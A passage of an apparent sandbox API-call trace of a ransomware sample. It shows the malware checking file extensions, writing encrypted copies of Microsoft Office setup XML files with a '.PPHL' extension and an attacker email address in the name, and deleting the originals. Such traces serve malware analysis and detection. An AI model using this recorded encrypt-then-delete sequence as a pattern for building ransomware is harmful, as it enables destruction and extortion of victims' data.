Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.693] lstrlenW (lpString=".doc") returned 4 [0073.693] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.693] lstrlenW (lpString=".docx") returned 5 [0073.693] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0073.693] lstrlenW (lpString=".pdf") returned 4 [0073.693] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.693] lstrlenW (lpString=".xls") returned 4 [0073.693] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.694] lstrlenW (lpString=".xlsx") returned 5 [0073.694] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0073.694] lstrlenW (lpString=".ppt") returned 4 [0073.694] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.694] lstrlenW (lpString=".zip") returned 4 [0073.694] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.694] lstrlenW (lpString=".rar") returned 4 [0073.694] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.694] lstrlenW (lpString=".bz2") returned 4 [0073.694] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.694] lstrlenW (lpString=".7z") returned 3 [0073.694] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.694] lstrlenW (lpString=".dbf") returned 4 [0073.694] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.694] lstrlenW (lpString=".1cd") returned 4 [0073.694] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.694] lstrlenW (lpString=".jpg") returned 4 [0073.694] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.694] lstrlenW (lpString=".doc") returned 4 [0073.694] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.694] lstrlenW (lpString=".docx") returned 5 [0073.694] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0073.694] lstrlenW (lpString=".pdf") returned 4 [0073.694] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.694] lstrlenW (lpString=".xls") returned 4 [0073.694] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.694] lstrlenW (lpString=".xlsx") returned 5 [0073.694] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0073.695] lstrlenW (lpString=".ppt") returned 4 [0073.695] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.695] lstrlenW (lpString=".zip") returned 4 [0073.695] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.695] lstrlenW (lpString=".rar") returned 4 [0073.695] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.695] lstrlenW (lpString=".bz2") returned 4 [0073.695] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.695] lstrlenW (lpString=".7z") returned 3 [0073.695] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.695] lstrlenW (lpString=".dbf") returned 4 [0073.695] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.695] lstrlenW (lpString=".1cd") returned 4 [0073.695] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.695] lstrlenW (lpString=".jpg") returned 4 [0073.695] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.695] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.695] lstrlenW (lpString="SETUP.XML") returned 9 [0073.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0073.696] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=20577) returned 1 [0073.696] CloseHandle (hObject=0x1e8) returned 1 [0073.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0073.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0073.697] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0073.697] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0073.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0073.697] GetLastError () returned 0x0 [0073.697] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x5061, lpOverlapped=0x0) returned 1 [0073.699] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x5070, lpOverlapped=0x0) returned 1 [0073.700] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0073.700] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.701] SetEndOfFile (hFile=0x18c) returned 1 [0073.701] CloseHandle (hObject=0x18c) returned 1 [0073.701] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0073.701] SetEndOfFile (hFile=0x1e8) returned 1 [0073.702] CloseHandle (hObject=0x1e8) returned 1 [0073.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.702] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0073.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.702] lstrlenW (lpString=".doc") returned 4 [0073.702] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.702] lstrlenW (lpString=".docx") returned 5 [0073.702] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.702] lstrlenW (lpString=".pdf") returned 4 [0073.702] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.703] lstrlenW (lpString=".xls") returned 4 [0073.703] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.703] lstrlenW (lpString=".xlsx") returned 5 [0073.703] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.703] lstrlenW (lpString=".ppt") returned 4 [0073.703] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.703] lstrlenW (lpString=".zip") returned 4 [0073.703] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.703] lstrlenW (lpString=".rar") returned 4 [0073.703] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.703] lstrlenW (lpString=".bz2") returned 4 [0073.703] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.703] lstrlenW (lpString=".7z") returned 3 [0073.703] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.703] lstrlenW (lpString=".dbf") returned 4 [0073.703] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.703] lstrlenW (lpString=".1cd") returned 4 [0073.703] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.703] lstrlenW (lpString=".jpg") returned 4 [0073.703] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.703] lstrlenW (lpString=".doc") returned 4 [0073.703] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.703] lstrlenW (lpString=".docx") returned 5 [0073.703] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.703] lstrlenW (lpString=".pdf") returned 4 [0073.703] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.703] lstrlenW (lpString=".xls") returned 4 [0073.703] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.704] lstrlenW (lpString=".xlsx") returned 5 [0073.704] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.704] lstrlenW (lpString=".ppt") returned 4 [0073.704] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.704] lstrlenW (lpString=".zip") returned 4 [0073.704] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.704] lstrlenW (lpString=".rar") returned 4 [0073.704] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.704] lstrlenW (lpString=".bz2") returned 4 [0073.704] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.704] lstrlenW (lpString=".7z") returned 3 [0073.704] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.704] lstrlenW (lpString=".dbf") returned 4 [0073.704] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.704] lstrlenW (lpString=".1cd") returned 4 [0073.704] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0073.704] lstrlenW (lpString=".jpg") returned 4 [0073.704] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.704] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.704] lstrlenW (lpString="VisiorWW.XML") returned 12 [0073.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0073.705] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=8723) returned 1 [0073.705] CloseHandle (hObject=0x1e8) returned 1 [0073.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0073.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0073.705] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0073.705] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0073.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0073.707] GetLastError () returned 0x0 [0073.707] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x2213, lpOverlapped=0x0) returned 1 [0073.708] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x2220, lpOverlapped=0x0) returned 1 [0073.709] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0073.710] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0073.710] SetEndOfFile (hFile=0x18c) returned 1 [0073.710] CloseHandle (hObject=0x18c) returned 1 [0073.710] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0073.710] SetEndOfFile (hFile=0x1e8) returned 1 [0073.711] CloseHandle (hObject=0x1e8) returned 1 [0073.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.711] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0073.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.711] lstrlenW (lpString=".doc") returned 4 [0073.711] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.711] lstrlenW (lpString=".docx") returned 5 [0073.711] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0073.711] lstrlenW (lpString=".pdf") returned 4 [0073.711] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.712] lstrlenW (lpString=".xls") returned 4 [0073.712] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.712] lstrlenW (lpString=".xlsx") returned 5 [0073.712] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0073.712] lstrlenW (lpString=".ppt") returned 4 [0073.712] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.712] lstrlenW (lpString=".zip") returned 4 [0073.712] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.712] lstrlenW (lpString=".rar") returned 4 [0073.712] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.712] lstrlenW (lpString=".bz2") returned 4 [0073.712] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.712] lstrlenW (lpString=".7z") returned 3 [0073.712] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.712] lstrlenW (lpString=".dbf") returned 4 [0073.712] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.712] lstrlenW (lpString=".1cd") returned 4 [0073.712] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.712] lstrlenW (lpString=".jpg") returned 4 [0073.712] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.712] lstrlenW (lpString=".doc") returned 4 [0073.712] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.712] lstrlenW (lpString=".docx") returned 5 [0073.712] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0073.712] lstrlenW (lpString=".pdf") returned 4 [0073.712] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.712] lstrlenW (lpString=".xls") returned 4 [0073.713] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.713] lstrlenW (lpString=".xlsx") returned 5 [0073.713] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0073.713] lstrlenW (lpString=".ppt") returned 4 [0073.713] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.713] lstrlenW (lpString=".zip") returned 4 [0073.713] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.713] lstrlenW (lpString=".rar") returned 4 [0073.713] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.713] lstrlenW (lpString=".bz2") returned 4 [0073.713] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.713] lstrlenW (lpString=".7z") returned 3 [0073.713] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.713] lstrlenW (lpString=".dbf") returned 4 [0073.713] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.713] lstrlenW (lpString=".1cd") returned 4 [0073.713] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0073.713] lstrlenW (lpString=".jpg") returned 4 [0073.713] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.713] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.713] lstrlenW (lpString="SETUP.XML") returned 9 [0073.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0074.463] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=2424) returned 1 [0074.463] CloseHandle (hObject=0x1f8) returned 1 [0074.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0074.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0074.464] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.464] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0074.465] GetLastError () returned 0x0 [0074.465] ReadFile (in: hFile=0x1f8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x978, lpOverlapped=0x0) returned 1 [0074.467] WriteFile (in: hFile=0x1ec, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x980, lpOverlapped=0x0) returned 1 [0074.468] ReadFile (in: hFile=0x1f8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0074.468] WriteFile (in: hFile=0x1ec, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, 